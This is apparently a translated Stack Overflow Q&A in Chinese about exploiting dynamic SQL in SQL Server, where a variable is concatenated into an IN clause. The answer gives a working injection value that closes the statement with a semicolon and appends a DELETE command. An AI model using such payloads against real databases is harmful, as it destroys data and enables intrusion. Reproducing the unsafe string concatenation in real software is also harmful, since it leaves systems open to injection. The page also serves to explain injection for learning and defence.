我正在尝试利用以下SQL(在SQL Server 2014中):

declare @maliciousSQL nvarchar(max);
set @maliciousSQL = '???'
exec ('SELECT SUM(quantity) from mytable where id in ' + @maliciousSQL );

参数@maliciousSQL如何设计为运行任意SQL?假设任务是执行命令“truncate table othertable”-可行吗?

感谢任何人的帮助

最佳答案

SQL注入(inject)看起来像这样:

declare @maliciousSQL nvarchar(max);
set @maliciousSQL = '(1); DELETE test1;'
exec ('SELECT SUM(quantity) from mytable where id in ' + @maliciousSQL );

用分号终止语句,然后写下您喜欢的内容

关于sql - 如何在 “IN”条件下利用SQL注入(inject)?,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/44024086/

10-10 15:24